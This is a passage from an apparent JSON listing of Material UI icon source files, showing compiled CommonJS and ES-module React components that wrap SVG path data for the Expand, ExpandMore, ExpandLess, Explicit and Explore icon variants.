    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3.79 9.71-3.08 3.08c-.39.39-1.02.39-1.42 0l-3.08-3.08c-.39-.39-.39-1.03 0-1.42s1.02-.39 1.41 0L12 12.67l2.38-2.38c.39-.39 1.02-.39 1.41 0s.39 1.03 0 1.42\"\n}), 'ExpandCircleDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandCircleDownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13.5L7.5 11l1.42-1.41L12 12.67l3.08-3.08L16.5 11z\"\n}), 'ExpandCircleDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandCircleDownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13.5L7.5 11l1.42-1.41L12 12.67l3.08-3.08L16.5 11z\"\n}), 'ExpandCircleDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandCircleDownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 11.5L7.5 11l1.42-1.41L12 12.67l3.08-3.08L16.5 11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.08 9.59 12 12.67 8.92 9.59 7.5 11l4.5 4.5 4.5-4.5zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\")], 'ExpandCircleDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandCircleDownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m0 11.5L7.5 11l1.42-1.41L12 12.67l3.08-3.08L16.5 11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.08 9.59 12 12.67 8.92 9.59 7.5 11l4.5 4.5 4.5-4.5zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\")], 'ExpandCircleDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandLess.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 8-6 6 1.41 1.41L12 10.83l4.59 4.58L18 14z\"\n}), 'ExpandLess');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandLess.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 8-6 6 1.41 1.41L12 10.83l4.59 4.58L18 14z\"\n}), 'ExpandLess');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandLessOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 8-6 6 1.41 1.41L12 10.83l4.59 4.58L18 14z\"\n}), 'ExpandLessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandLessOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 8-6 6 1.41 1.41L12 10.83l4.59 4.58L18 14z\"\n}), 'ExpandLessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandLessRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.29 8.71 6.7 13.3c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 10.83l3.88 3.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 8.71c-.38-.39-1.02-.39-1.41 0\"\n}), 'ExpandLessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandLessRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.29 8.71 6.7 13.3c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 10.83l3.88 3.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 8.71c-.38-.39-1.02-.39-1.41 0\"\n}), 'ExpandLessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandLessSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 8-6 6 1.41 1.41L12 10.83l4.59 4.58L18 14z\"\n}), 'ExpandLessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandLessSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 8-6 6 1.41 1.41L12 10.83l4.59 4.58L18 14z\"\n}), 'ExpandLessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandLessTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 8-6 6 1.41 1.41L12 10.83l4.59 4.58L18 14z\"\n}), 'ExpandLessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandLessTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 8-6 6 1.41 1.41L12 10.83l4.59 4.58L18 14z\"\n}), 'ExpandLessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandMore.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.59 8.59 12 13.17 7.41 8.59 6 10l6 6 6-6z\"\n}), 'ExpandMore');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandMore.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.59 8.59 12 13.17 7.41 8.59 6 10l6 6 6-6z\"\n}), 'ExpandMore');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandMoreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.59 8.59 12 13.17 7.41 8.59 6 10l6 6 6-6z\"\n}), 'ExpandMoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandMoreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.59 8.59 12 13.17 7.41 8.59 6 10l6 6 6-6z\"\n}), 'ExpandMoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandMoreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.88 9.29 12 13.17 8.12 9.29a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.59 4.59c.39.39 1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41-.39-.38-1.03-.39-1.42 0\"\n}), 'ExpandMoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandMoreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.88 9.29 12 13.17 8.12 9.29a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.59 4.59c.39.39 1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41-.39-.38-1.03-.39-1.42 0\"\n}), 'ExpandMoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandMoreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.59 8.59 12 13.17 7.41 8.59 6 10l6 6 6-6z\"\n}), 'ExpandMoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandMoreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.59 8.59 12 13.17 7.41 8.59 6 10l6 6 6-6z\"\n}), 'ExpandMoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandMoreTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.59 8.59 12 13.17 7.41 8.59 6 10l6 6 6-6z\"\n}), 'ExpandMoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandMoreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.59 8.59 12 13.17 7.41 8.59 6 10l6 6 6-6z\"\n}), 'ExpandMoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16v2H4zM4 2h16v2H4zm5.41 11.59L8 15l4 4 4-4-1.41-1.41L13 15.17V8.83l1.59 1.58L16 9l-4-4-4 4 1.41 1.41L11 8.83v6.34z\"\n}), 'ExpandOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16v2H4zM4 2h16v2H4zm5.41 11.59L8 15l4 4 4-4-1.41-1.41L13 15.17V8.83l1.59 1.58L16 9l-4-4-4 4 1.41 1.41L11 8.83v6.34z\"\n}), 'ExpandOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 20h14c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1M5 2h14c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1m8 7h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0L8.85 8.15c-.31.31-.09.85.36.85H11v6H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.35-.85H13z\"\n}), 'ExpandRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 20h14c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1M5 2h14c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1m8 7h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0L8.85 8.15c-.31.31-.09.85.36.85H11v6H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.35-.85H13z\"\n}), 'ExpandRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16v2H4zM4 2h16v2H4zm9 7h3l-4-4-4 4h3v6H8l4 4 4-4h-3z\"\n}), 'ExpandSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16v2H4zM4 2h16v2H4zm9 7h3l-4-4-4 4h3v6H8l4 4 4-4h-3z\"\n}), 'ExpandSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16v2H4zM4 2h16v2H4zm9 7h3l-4-4-4 4h3v6H8l4 4 4-4h-3z\"\n}), 'ExpandTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16v2H4zM4 2h16v2H4zm9 7h3l-4-4-4 4h3v6H8l4 4 4-4h-3z\"\n}), 'ExpandTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Explicit.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 6h-4v2h4v2h-4v2h4v2H9V7h6z\"\n}), 'Explicit');"
  },
  {
    "path": "packages/mui-icons-material/lib/Explicit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 6h-4v2h4v2h-4v2h4v2H9V7h6z\"\n}), 'Explicit');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExplicitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-4-4h-4v-2h4v-2h-4V9h4V7H9v10h6z\"\n}), 'ExplicitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExplicitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-4-4h-4v-2h4v-2h-4V9h4V7H9v10h6z\"\n}), 'ExplicitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExplicitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 6h-3v2h3c.55 0 1 .45 1 1s-.45 1-1 1h-3v2h3c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ExplicitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExplicitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 6h-3v2h3c.55 0 1 .45 1 1s-.45 1-1 1h-3v2h3c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ExplicitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExplicitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-6 6h-4v2h4v2h-4v2h4v2H9V7h6z\"\n}), 'ExplicitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExplicitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-6 6h-4v2h4v2h-4v2h4v2H9V7h6z\"\n}), 'ExplicitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExplicitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zM9 7h6v2h-4v2h4v2h-4v2h4v2H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2m-2 0H5V5h14zm-4-4h-4v-2h4v-2h-4V9h4V7H9v10h6z\"\n}, \"1\")], 'ExplicitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExplicitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zM9 7h6v2h-4v2h4v2h-4v2h4v2H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2m-2 0H5V5h14zm-4-4h-4v-2h4v-2h-4V9h4V7H9v10h6z\"\n}, \"1\")], 'ExplicitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Explore.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10.9c-.61 0-1.1.49-1.1 1.1s.49 1.1 1.1 1.1 1.1-.49 1.1-1.1-.49-1.1-1.1-1.1M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m2.19 12.19L6 18l3.81-8.19L18 6z\"\n}), 'Explore');"
  },
  {
    "path": "packages/mui-icons-material/lib/Explore.mjs",
